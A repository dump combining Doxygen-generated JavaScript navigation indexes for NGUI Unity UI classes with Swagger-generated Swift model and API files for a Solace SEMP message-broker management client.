[ "UIAnchor", "dd/d4d/class_u_i_anchor.html", null ],
[ "UIAtlas", "d8/d96/class_u_i_atlas.html", null ],
[ "UIAtlasInspector", "d1/d4b/class_u_i_atlas_inspector.html", null ],
[ "UIAtlasMaker", "de/d7b/class_u_i_atlas_maker.html", null ],
[ "UIButtonColor", "de/df8/class_u_i_button_color.html", null ],
[ "UIButtonKeys", "d6/d4e/class_u_i_button_keys.html", null ],
[ "UIButtonMessage", "d9/db0/class_u_i_button_message.html", null ],
[ "UIButtonOffset", "db/d63/class_u_i_button_offset.html", null ],
[ "UIButtonPlayAnimation", "d8/d7e/class_u_i_button_play_animation.html", null ],
[ "UIButtonRotation", "df/d87/class_u_i_button_rotation.html", null ],
[ "UIButtonScale", "d5/dab/class_u_i_button_scale.html", null ],
[ "UIButtonSound", "d9/d6c/class_u_i_button_sound.html", null ],
[ "UIButtonTween", "d7/dc5/class_u_i_button_tween.html", null ],
[ "UICamera", "de/d25/class_u_i_camera.html", null ],
[ "UICameraTool", "d5/dd3/class_u_i_camera_tool.html", null ],
[ "UICheckbox", "de/d39/class_u_i_checkbox.html", null ],
[ "UICheckboxControlledComponent", "d8/d5c/class_u_i_checkbox_controlled_component.html", null ],
[ "UICheckboxControlledObject", "df/d1e/class_u_i_checkbox_controlled_object.html", null ],
[ "UICreateNewUIWizard", "da/da0/class_u_i_create_new_u_i_wizard.html", null ],
[ "UICreateWidgetWizard", "db/d96/class_u_i_create_widget_wizard.html", null ],
[ "UICursor", "d7/d74/class_u_i_cursor.html", null ],
[ "UIDrawCall", "d0/dd6/class_u_i_draw_call.html", null ],
[ "UIDrawCallInspector", "d2/d46/class_u_i_draw_call_inspector.html", null ],
[ "UIEventListener", "d5/dfb/class_u_i_event_listener.html", null ],
[ "UIFont", "d5/de7/class_u_i_font.html", null ],
[ "UIFontInspector", "df/d3d/class_u_i_font_inspector.html", null ],
[ "UIFontMaker", "d9/d53/class_u_i_font_maker.html", null ],
[ "UIForwardEvents", "dc/dcb/class_u_i_forward_events.html", null ],
[ "UIGeometry", "da/dc9/class_u_i_geometry.html", null ],
[ "UIGrid", "da/dc2/class_u_i_grid.html", null ],
[ "UIImageButton", "d0/d71/class_u_i_image_button.html", null ],
[ "UIImageButtonInspector", "d9/de0/class_u_i_image_button_inspector.html", null ],
[ "UIInput", "d0/ded/class_u_i_input.html", [
[ "UIInputSaved", "de/d1b/class_u_i_input_saved.html", null ]
] ],
[ "UIItemSlot", "d1/d42/class_u_i_item_slot.html", [
[ "UIEquipmentSlot", "d3/d2f/class_u_i_equipment_slot.html", null ],
[ "UIStorageSlot", "da/d0c/class_u_i_storage_slot.html", null ]
] ],
[ "UIItemStorage", "db/d4a/class_u_i_item_storage.html", null ],
[ "UILocalize", "d0/dd5/class_u_i_localize.html", null ],
[ "UINode", "d1/db1/class_u_i_node.html", null ],
[ "UIOrthoCamera", "dc/d6d/class_u_i_ortho_camera.html", null ],
[ "UIPanel", "da/deb/class_u_i_panel.html", null ],
[ "UIPanelInspector", "d8/dfc/class_u_i_panel_inspector.html", null ],
[ "UIPanelTool", "d3/d33/class_u_i_panel_tool.html", null ],
[ "UIPopupList", "d0/dcb/class_u_i_popup_list.html", null ],
[ "UIPopupListInspector", "d2/db3/class_u_i_popup_list_inspector.html", null ],
[ "UIRoot", "d7/d28/class_u_i_root.html", null ],
[ "UISavedOption", "da/dc0/class_u_i_saved_option.html", null ],
[ "UISettings", "db/d73/class_u_i_settings.html", null ],
[ "UISliderColors", "d8/dac/class_u_i_slider_colors.html", null ],
[ "UISpriteAnimation", "d0/de4/class_u_i_sprite_animation.html", null ],
[ "UISpriteAnimationInspector", "df/dc7/class_u_i_sprite_animation_inspector.html", null ],
[ "UITable", "d6/d5b/class_u_i_table.html", null ],
[ "UITextList", "df/ded/class_u_i_text_list.html", null ],
[ "UITooltip", "da/de4/class_u_i_tooltip.html", null ],
[ "UIViewport", "d1/d5e/class_u_i_viewport.html", null ],
[ "UIWidget", "d1/d68/class_u_i_widget.html", [
[ "UILabel", "db/d1c/class_u_i_label.html", null ],
[ "UISprite", "d1/dc6/class_u_i_sprite.html", [
[ "UIFilledSprite", "d5/dd3/class_u_i_filled_sprite.html", null ],
[ "UISlicedSprite", "d2/d9c/class_u_i_sliced_sprite.html", [
[ "UITiledSprite", "dc/d79/class_u_i_tiled_sprite.html", null ]
] ]
] ],
[ "UITexture", "d4/d1b/class_u_i_texture.html", null ]
] ],
[ "UIWidgetInspector", "d9/d44/class_u_i_widget_inspector.html", [
[ "UILabelInspector", "de/dcf/class_u_i_label_inspector.html", null ],
[ "UISpriteInspector", "d7/d42/class_u_i_sprite_inspector.html", [
[ "UIFilledSpriteInspector", "df/d3a/class_u_i_filled_sprite_inspector.html", null ],
[ "UISlicedSpriteInspector", "d1/dc8/class_u_i_sliced_sprite_inspector.html", [
[ "UITiledSpriteInspector", "d4/d57/class_u_i_tiled_sprite_inspector.html", null ]
] ]
] ],
[ "UITextureInspector", "d5/d66/class_u_i_texture_inspector.html", null ]
] ],
[ "UpdateManager.UpdateEntry", "d1/dc7/class_update_manager_1_1_update_entry.html", null ],
[ "UpdateManager", "d1/dc6/class_update_manager.html", null ],
[ "WindowAutoYaw", "d6/da0/class_window_auto_yaw.html", null ],
[ "WindowDragTilt", "d5/da7/class_window_drag_tilt.html", null ]
];<file_sep>/nguiApi/NGUIDocs/df/d1e/class_u_i_checkbox_controlled_object.js
var class_u_i_checkbox_controlled_object =
[
[ "inverse", "df/d1e/class_u_i_checkbox_controlled_object.html#a0d77a37ba5f1b44f61381554538c9945", null ],
[ "target", "df/d1e/class_u_i_checkbox_controlled_object.html#adc2f8053a36aaeea826f261514e57f8a", null ]
];<file_sep>/nguiApi/NGUIDocs/namespaces.js
var namespaces =
[
[ "AnimationOrTween", "de/d8f/namespace_animation_or_tween.html", "de/d8f/namespace_animation_or_tween" ]
];<file_sep>/nguiApi/NGUIDocs/d6/d4e/class_u_i_button_keys.js
var class_u_i_button_keys =
[
[ "selectOnClick", "d6/d4e/class_u_i_button_keys.html#a7b1b34eaf71c203e7aa00f379220a35d", null ],
[ "selectOnDown", "d6/d4e/class_u_i_button_keys.html#af93f755c0c41f72b47f8eb885bc15d59", null ],
[ "selectOnLeft", "d6/d4e/class_u_i_button_keys.html#a57eae6ade45a5b1087a0afea905a98a5", null ],
[ "selectOnRight", "d6/d4e/class_u_i_button_keys.html#a58217e854aad656be7d2d964c34e77ea", null ],
[ "selectOnUp", "d6/d4e/class_u_i_button_keys.html#ac1bd13cb20231ec948e0d8de34d7a3cc", null ],
[ "startsSelected", "d6/d4e/class_u_i_button_keys.html#a99eaa4f848a914b6f98b4f6f58ec7c7e", null ]
];<file_sep>/nguiApi/NGUIDocs/da/d60/class_tween_color.js
var class_tween_color =
[
[ "Begin", "da/d60/class_tween_color.html#a91f65b40800e70d836c50e516159928d", null ],
[ "OnUpdate", "da/d60/class_tween_color.html#a2775449b3749dec14e389d09f1fde76c", null ],
[ "from", "da/d60/class_tween_color.html#a07e6d730f77ba28001aed6a12d8a2d30", null ],
[ "to", "da/d60/class_tween_color.html#a6512f3978ef010b3bffa780b9962ea30", null ],
[ "color", "da/d60/class_tween_color.html#ade2cbc965123a95b77a52a403be7bc9b", null ]
];<file_sep>/nguiApi/NGUIDocs/d1/dc6/class_update_manager.js
var class_update_manager =
[
[ "AddCoroutine", "d1/dc6/class_update_manager.html#a1d233a928fb0da3f63b4090ae4779344", null ],
[ "AddDestroy", "d1/dc6/class_update_manager.html#ac793177dc7dcfd076a1abc6d15b7246e", null ],
[ "AddLateUpdate", "d1/dc6/class_update_manager.html#a41ec3854bc575417fc6b4aa55b00852a", null ],
[ "AddUpdate", "d1/dc6/class_update_manager.html#a9dcf4384f424f3e2d26a06fc87fe301d", null ],
[ "OnUpdate", "d1/dc6/class_update_manager.html#ac9f1d38d1b5ce39197f54be068a7a6e8", null ]
];
|
7fef665106651e7319c68c629d80271dbe56f155
|
[
"JavaScript",
"HTML"
] | 121 |
JavaScript
|
GHunique/Unity3D
|
8124c27b57415bb8ef2610a735f77e6e7102ff20
|
75faba18a7218eb6da0102d4df0b36babfeffd47
|
refs/heads/master
|
<repo_name>unixunion/swift_solace_semp_client<file_sep>/solace_semp_client/Classes/Swaggers/APIs/AboutAPI.swift
//
// AboutAPI.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Alamofire
public class AboutAPI: APIBase {
/**
Gets an API Description object.
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getAboutApi(completion: ((data: AboutApiResponse?, error: ErrorType?) -> Void)) {
getAboutApiWithRequestBuilder().execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets an API Description object.
- GET /about/api
- Gets an API Description object. A SEMP client authorized with a minimum access scope/level of \"global/none\" is required to perform this operation. This has been available since 2.2.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : {
"sempVersion" : "sempVersion",
"platform" : "platform"
},
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : {
"uri" : "uri"
}
}}]
- returns: RequestBuilder<AboutApiResponse>
*/
public class func getAboutApiWithRequestBuilder() -> RequestBuilder<AboutApiResponse> {
let path = "/about/api"
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [:]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<AboutApiResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: true)
}
/**
Gets a Current User object.
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getAboutUser(select select: [String]? = nil, completion: ((data: AboutUserResponse?, error: ErrorType?) -> Void)) {
getAboutUserWithRequestBuilder(select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a Current User object.
- GET /about/user
- Gets a Current User object. A SEMP client authorized with a minimum access scope/level of \"global/none\" is required to perform this operation. This has been available since 2.2.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : {
"globalAccessLevel" : "admin"
},
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : {
"msgVpnsUri" : "msgVpnsUri",
"uri" : "uri"
}
}}]
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<AboutUserResponse>
*/
public class func getAboutUserWithRequestBuilder(select select: [String]? = nil) -> RequestBuilder<AboutUserResponse> {
let path = "/about/user"
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<AboutUserResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/AboutUser.swift
//
// AboutUser.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class AboutUser: JSONEncodable {
public enum GlobalAccessLevel: String {
case Admin = "admin"
case None = "none"
case ReadOnly = "read-only"
case ReadWrite = "read-write"
}
/** Global access level of the Current User. The allowed values and their meaning are: <pre> \"admin\" - Administrative access allowed. \"none\" - No access allowed. \"read-only\" - Read only. \"read-write\" - Read and Write. </pre> */
public var globalAccessLevel: GlobalAccessLevel?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["globalAccessLevel"] = self.globalAccessLevel?.rawValue
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnJndiConnectionFactory.swift
//
// MsgVpnJndiConnectionFactory.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnJndiConnectionFactory: JSONEncodable {
public enum MessagingDefaultDeliveryMode: String {
case Persistent = "persistent"
case NonPersistent = "non-persistent"
}
/** Enable or disable whether new JMS connections can use the same Client identifier (ID) as an existing connection. The default value is `false`. Available since 2.3. */
public var allowDuplicateClientIdEnabled: Bool?
/** The description of the Client. The default value is `\"\"`. */
public var clientDescription: String?
/** The Client identifier (ID). If not specified, a unique value for it will be generated. The default value is `\"\"`. */
public var clientId: String?
/** The name of the JMS Connection Factory. */
public var connectionFactoryName: String?
/** Enable or disable overriding by the Subscriber (Consumer) of the deliver-to-one (DTO) property on messages. When enabled, the Subscriber can receive all DTO tagged messages. The default value is `true`. */
public var dtoReceiveOverrideEnabled: Bool?
/** The priority for receiving deliver-to-one (DTO) messages by the Subscriber (Consumer) if the messages are published on the local Router that the Subscriber is directly connected to. The default value is `1`. */
public var dtoReceiveSubscriberLocalPriority: Int32?
/** The priority for receiving deliver-to-one (DTO) messages by the Subscriber (Consumer) if the messages are published on a remote Router. The default value is `1`. */
public var dtoReceiveSubscriberNetworkPriority: Int32?
/** Enable or disable the deliver-to-one (DTO) property on messages sent by the Publisher (Producer). The default value is `false`. */
public var dtoSendEnabled: Bool?
/** Enable or disable whether a durable endpoint will be dynamically created on the Router when the client calls \"Session.createDurableSubscriber()\" or \"Session.createQueue()\". The created endpoint respects the message time-to-live (TTL) according to the \"dynamicEndpointRespectTtlEnabled\" property. The default value is `false`. */
public var dynamicEndpointCreateDurableEnabled: Bool?
/** Enable or disable whether dynamically created durable and non-durable endpoints respect the message time-to-live (TTL) property. The default value is `true`. */
public var dynamicEndpointRespectTtlEnabled: Bool?
/** The timeout for sending the acknowledgement (ACK) for guaranteed messages received by the Subscriber (Consumer), in milliseconds. The default value is `1000`. */
public var guaranteedReceiveAckTimeout: Int32?
/** The size of the window for guaranteed messages received by the Subscriber (Consumer), in messages. The default value is `18`. */
public var guaranteedReceiveWindowSize: Int32?
/** The threshold for sending the acknowledgement (ACK) for guaranteed messages received by the Subscriber (Consumer) as a percentage of the \"guaranteedReceiveWindowSize\" value. The default value is `60`. */
public var guaranteedReceiveWindowSizeAckThreshold: Int32?
/** The timeout for receiving the acknowledgement (ACK) for guaranteed messages sent by the Publisher (Producer), in milliseconds. The default value is `2000`. */
public var guaranteedSendAckTimeout: Int32?
/** The size of the window for non-persistent guaranteed messages sent by the Publisher (Producer), in messages. For persistent messages the window size is fixed at 1. The default value is `255`. */
public var guaranteedSendWindowSize: Int32?
/** The default delivery mode for messages sent by the Publisher (Producer). The default value is `\"persistent\"`. The allowed values and their meaning are: <pre> \"persistent\" - Router spools messages (persists in the Message Spool) as part of the send operation. \"non-persistent\" - Router does not spool messages (does not persist in the Message Spool) as part of the send operation. </pre> */
public var messagingDefaultDeliveryMode: MessagingDefaultDeliveryMode?
/** Enable or disable whether messages sent by the Publisher (Producer) are Dead Message Queue (DMQ) eligible by default. The default value is `false`. */
public var messagingDefaultDmqEligibleEnabled: Bool?
/** Enable or disable whether messages sent by the Publisher (Producer) are Eliding eligible by default. The default value is `false`. */
public var messagingDefaultElidingEligibleEnabled: Bool?
/** Enable or disable inclusion (adding or replacing) of the JMSXUserID property in messages sent by the Publisher (Producer). The default value is `false`. */
public var messagingJmsxUserIdEnabled: Bool?
/** Enable or disable encoding of JMS text messages in Publisher (Producer) messages as XML payload. When disabled, JMS text messages are encoded as a binary attachment. The default value is `true`. */
public var messagingTextInXmlPayloadEnabled: Bool?
/** The name of the Message VPN. */
public var msgVpnName: String?
/** The ZLIB compression level for the connection to the Router. The value \"0\" means no compression, and the value \"-1\" means the compression level is specified in the JNDI Properties file. The default value is `-1`. */
public var transportCompressionLevel: Int32?
/** The maximum number of retry attempts to establish an initial connection to the host (Router) or list of hosts (Routers). The value \"0\" means a single attempt (no retries), and the value \"-1\" means to retry forever. The default value is `0`. */
public var transportConnectRetryCount: Int32?
/** The maximum number of retry attempts to establish an initial connection to each host (Router) on the list of hosts (Routers). The value \"0\" means a single attempt (no retries), and the value \"-1\" means to retry forever. The default value is `0`. */
public var transportConnectRetryPerHostCount: Int32?
/** The timeout for establishing an initial connection to the Router, in milliseconds. The default value is `30000`. */
public var transportConnectTimeout: Int32?
/** Enable or disable usage of the Direct Transport mode for sending non-persistent messages. When disabled, the Guaranteed Transport mode is used. The default value is `true`. */
public var transportDirectTransportEnabled: Bool?
/** The maximum number of consecutive application-level keepalive messages sent without the Router response before the connection to the Router is closed. The default value is `3`. */
public var transportKeepaliveCount: Int32?
/** Enable or disable usage of application-level keepalive messages to maintain a connection with the Router. The default value is `true`. */
public var transportKeepaliveEnabled: Bool?
/** The interval between application-level keepalive messages, in milliseconds. The default value is `3000`. */
public var transportKeepaliveInterval: Int32?
/** Enable or disable delivery of asynchronous messages directly from the I/O thread. Contact Solace Support before enabling this property. The default value is `false`. */
public var transportMsgCallbackOnIoThreadEnabled: Bool?
/** Enable or disable optimization for the Direct Transport delivery mode. If enabled, the client application is limited to one Publisher (Producer) and one non-durable Subscriber (Consumer). The default value is `false`. */
public var transportOptimizeDirectEnabled: Bool?
/** The connection port number on the Router for SMF clients. The value \"-1\" means the port is specified in the JNDI Properties file. The default value is `-1`. */
public var transportPort: Int32?
/** The timeout for reading a reply from the Router, in milliseconds. The default value is `10000`. */
public var transportReadTimeout: Int32?
/** The size of the receive socket buffer, in bytes. It corresponds to the SO_RCVBUF socket option. The default value is `65536`. */
public var transportReceiveBufferSize: Int32?
/** The maximum number of attempts to reconnect to the host (Router) or list of hosts (Routers) after the connection has been lost. The value \"-1\" means to retry forever. The default value is `3`. */
public var transportReconnectRetryCount: Int32?
/** The amount of time before making another attempt to connect or reconnect to the host (Router) after the connection has been lost, in milliseconds. The default value is `3000`. */
public var transportReconnectRetryWait: Int32?
/** The size of the send socket buffer, in bytes. It corresponds to the SO_SNDBUF socket option. The default value is `65536`. */
public var transportSendBufferSize: Int32?
/** Enable or disable the TCP_NODELAY option. When enabled, Nagle's algorithm for TCP/IP congestion control (RFC 896) is disabled. The default value is `true`. */
public var transportTcpNoDelayEnabled: Bool?
/** Enable or disable this as an XA Connection Factory. When enabled, the Connection Factory can be cast to \"XAConnectionFactory\", \"XAQueueConnectionFactory\" or \"XATopicConnectionFactory\". The default value is `false`. */
public var xaEnabled: Bool?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["allowDuplicateClientIdEnabled"] = self.allowDuplicateClientIdEnabled
nillableDictionary["clientDescription"] = self.clientDescription
nillableDictionary["clientId"] = self.clientId
nillableDictionary["connectionFactoryName"] = self.connectionFactoryName
nillableDictionary["dtoReceiveOverrideEnabled"] = self.dtoReceiveOverrideEnabled
nillableDictionary["dtoReceiveSubscriberLocalPriority"] = self.dtoReceiveSubscriberLocalPriority?.encodeToJSON()
nillableDictionary["dtoReceiveSubscriberNetworkPriority"] = self.dtoReceiveSubscriberNetworkPriority?.encodeToJSON()
nillableDictionary["dtoSendEnabled"] = self.dtoSendEnabled
nillableDictionary["dynamicEndpointCreateDurableEnabled"] = self.dynamicEndpointCreateDurableEnabled
nillableDictionary["dynamicEndpointRespectTtlEnabled"] = self.dynamicEndpointRespectTtlEnabled
nillableDictionary["guaranteedReceiveAckTimeout"] = self.guaranteedReceiveAckTimeout?.encodeToJSON()
nillableDictionary["guaranteedReceiveWindowSize"] = self.guaranteedReceiveWindowSize?.encodeToJSON()
nillableDictionary["guaranteedReceiveWindowSizeAckThreshold"] = self.guaranteedReceiveWindowSizeAckThreshold?.encodeToJSON()
nillableDictionary["guaranteedSendAckTimeout"] = self.guaranteedSendAckTimeout?.encodeToJSON()
nillableDictionary["guaranteedSendWindowSize"] = self.guaranteedSendWindowSize?.encodeToJSON()
nillableDictionary["messagingDefaultDeliveryMode"] = self.messagingDefaultDeliveryMode?.rawValue
nillableDictionary["messagingDefaultDmqEligibleEnabled"] = self.messagingDefaultDmqEligibleEnabled
nillableDictionary["messagingDefaultElidingEligibleEnabled"] = self.messagingDefaultElidingEligibleEnabled
nillableDictionary["messagingJmsxUserIdEnabled"] = self.messagingJmsxUserIdEnabled
nillableDictionary["messagingTextInXmlPayloadEnabled"] = self.messagingTextInXmlPayloadEnabled
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["transportCompressionLevel"] = self.transportCompressionLevel?.encodeToJSON()
nillableDictionary["transportConnectRetryCount"] = self.transportConnectRetryCount?.encodeToJSON()
nillableDictionary["transportConnectRetryPerHostCount"] = self.transportConnectRetryPerHostCount?.encodeToJSON()
nillableDictionary["transportConnectTimeout"] = self.transportConnectTimeout?.encodeToJSON()
nillableDictionary["transportDirectTransportEnabled"] = self.transportDirectTransportEnabled
nillableDictionary["transportKeepaliveCount"] = self.transportKeepaliveCount?.encodeToJSON()
nillableDictionary["transportKeepaliveEnabled"] = self.transportKeepaliveEnabled
nillableDictionary["transportKeepaliveInterval"] = self.transportKeepaliveInterval?.encodeToJSON()
nillableDictionary["transportMsgCallbackOnIoThreadEnabled"] = self.transportMsgCallbackOnIoThreadEnabled
nillableDictionary["transportOptimizeDirectEnabled"] = self.transportOptimizeDirectEnabled
nillableDictionary["transportPort"] = self.transportPort?.encodeToJSON()
nillableDictionary["transportReadTimeout"] = self.transportReadTimeout?.encodeToJSON()
nillableDictionary["transportReceiveBufferSize"] = self.transportReceiveBufferSize?.encodeToJSON()
nillableDictionary["transportReconnectRetryCount"] = self.transportReconnectRetryCount?.encodeToJSON()
nillableDictionary["transportReconnectRetryWait"] = self.transportReconnectRetryWait?.encodeToJSON()
nillableDictionary["transportSendBufferSize"] = self.transportSendBufferSize?.encodeToJSON()
nillableDictionary["transportTcpNoDelayEnabled"] = self.transportTcpNoDelayEnabled
nillableDictionary["xaEnabled"] = self.xaEnabled
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnSequencedTopic.swift
//
// MsgVpnSequencedTopic.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnSequencedTopic: JSONEncodable {
/** The name of the Message VPN. */
public var msgVpnName: String?
/** Topic for applying sequence numbers. */
public var sequencedTopic: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["sequencedTopic"] = self.sequencedTopic
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnClientUsername.swift
//
// MsgVpnClientUsername.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnClientUsername: JSONEncodable {
/** The ACL Profile of the Client Username. The default value is `\"default\"`. */
public var aclProfileName: String?
/** The Client Profile of the Client Username. The default value is `\"default\"`. */
public var clientProfileName: String?
/** The value of the Client Username. */
public var clientUsername: String?
/** Enables or disables the Client Username. When disabled all clients currently connected as the Client Username are disconnected. The default value is `false`. */
public var enabled: Bool?
/** Enables or disables guaranteed endpoint permission override for the Client Username. When enabled all guaranteed endpoints may be accessed, modified or deleted with the same permission as the owner. The default value is `false`. */
public var guaranteedEndpointPermissionOverrideEnabled: Bool?
/** The name of the Message VPN. */
public var msgVpnName: String?
/** The password of this Client Username for internal Authentication. The default is to have no password. The default is to have no `password`. */
public var password: String?
/** Enables or disables the subscription management capability of the Client Username. This is the ability to manage subscriptions on behalf of other Client Usernames. The default value is `false`. */
public var subscriptionManagerEnabled: Bool?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["aclProfileName"] = self.aclProfileName
nillableDictionary["clientProfileName"] = self.clientProfileName
nillableDictionary["clientUsername"] = self.clientUsername
nillableDictionary["enabled"] = self.enabled
nillableDictionary["guaranteedEndpointPermissionOverrideEnabled"] = self.guaranteedEndpointPermissionOverrideEnabled
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["password"] = <PASSWORD>
nillableDictionary["subscriptionManagerEnabled"] = self.subscriptionManagerEnabled
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/SempPaging.swift
//
// SempPaging.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class SempPaging: JSONEncodable {
/** The cursor, or position, for the next page of objects. Use this as the `cursor` query parameter of the next request. */
public var cursorQuery: String?
/** The URI of the next page of objects. `cursorQuery` is already embedded within this URI. */
public var nextPageUri: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["cursorQuery"] = self.cursorQuery
nillableDictionary["nextPageUri"] = self.nextPageUri
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnQueueSubscription.swift
//
// MsgVpnQueueSubscription.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnQueueSubscription: JSONEncodable {
/** The name of the Message VPN. */
public var msgVpnName: String?
/** The name of the Queue. */
public var queueName: String?
/** The Topic of the Subscription. */
public var subscriptionTopic: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["queueName"] = self.queueName
nillableDictionary["subscriptionTopic"] = self.subscriptionTopic
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnClientProfile.swift
//
// MsgVpnClientProfile.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnClientProfile: JSONEncodable {
/** Allow or deny Bridge clients to connect. Changing this setting does not affect existing Bridge client connections. The default value is `false`. */
public var allowBridgeConnectionsEnabled: Bool?
/** Allow or deny clients to bind to topic endpoints or queues with the cut-through delivery mode. Changing this setting does not affect existing client connections. The default value is `false`. */
public var allowCutThroughForwardingEnabled: Bool?
/** Allow or deny clients to create topic endponts or queues. Changing this setting does not affect existing client connections. The default value is `false`. */
public var allowGuaranteedEndpointCreateEnabled: Bool?
/** Allow or deny clients to receive guaranteed messages. Changing this setting does not affect existing client connections. The default value is `false`. */
public var allowGuaranteedMsgReceiveEnabled: Bool?
/** Allow or deny clients to send guaranteed messages. Changing this setting does not affect existing client connections. The default value is `false`. */
public var allowGuaranteedMsgSendEnabled: Bool?
/** Allow or deny clients to establish transacted sessions. Changing this setting does not affect existing client connections. The default value is `false`. */
public var allowTransactedSessionsEnabled: Bool?
/** The name of a Queue to copy settings from when a new Queue is created by an API. The referenced Queue must exist on the Message VPN. The default value is `\"\"`. */
public var apiQueueManagementCopyFromOnCreateName: String?
/** The name of a Topic Endpoint to copy settings from when a new Topic Endpoint is created by an API. The referenced Topic Endpoint must exist on the Message VPN. The default value is `\"\"`. */
public var apiTopicEndpointManagementCopyFromOnCreateName: String?
/** The Client Profile name. */
public var clientProfileName: String?
/** Enable or disable whether connected clients are allowed to use compression. The default value is `true`. Available since 2.10. */
public var compressionEnabled: Bool?
/** The amount of time to delay the delivery of messages to clients after the initial message has been delivered (the eliding delay interval), in milliseconds. Zero value means there is no delay in delivering messages to clients. The default value is `0`. */
public var elidingDelay: Int64?
/** Enable or disable the Message Eliding. The default value is `false`. */
public var elidingEnabled: Bool?
/** The maximum number of topics tracked for Message Eliding per one Client connection. The default value is `256`. */
public var elidingMaxTopicCount: Int64?
public var eventClientProvisionedEndpointSpoolUsageThreshold: EventThresholdByPercent?
public var eventConnectionCountPerClientUsernameThreshold: EventThreshold?
public var eventEgressFlowCountThreshold: EventThreshold?
public var eventEndpointCountPerClientUsernameThreshold: EventThreshold?
public var eventIngressFlowCountThreshold: EventThreshold?
public var eventServiceSmfConnectionCountPerClientUsernameThreshold: EventThreshold?
public var eventServiceWebConnectionCountPerClientUsernameThreshold: EventThreshold?
public var eventSubscriptionCountThreshold: EventThreshold?
public var eventTransactedSessionCountThreshold: EventThreshold?
public var eventTransactionCountThreshold: EventThreshold?
/** The maximum number of client connections that can be simultaneously connected with the same Client Username. The default is the max value supported by the hardware. */
public var maxConnectionCountPerClientUsername: Int64?
/** The maximum number of egress flows that can be created by one client. The default is the max value supported by the hardware. */
public var maxEgressFlowCount: Int64?
/** The maximum number of queues and topic endpoints that can be created by clients with the same Client Username. The default is the max value supported by the hardware. */
public var maxEndpointCountPerClientUsername: Int64?
/** The maximum number of ingress flows that can be created by one client. The default is the max value supported by the hardware. */
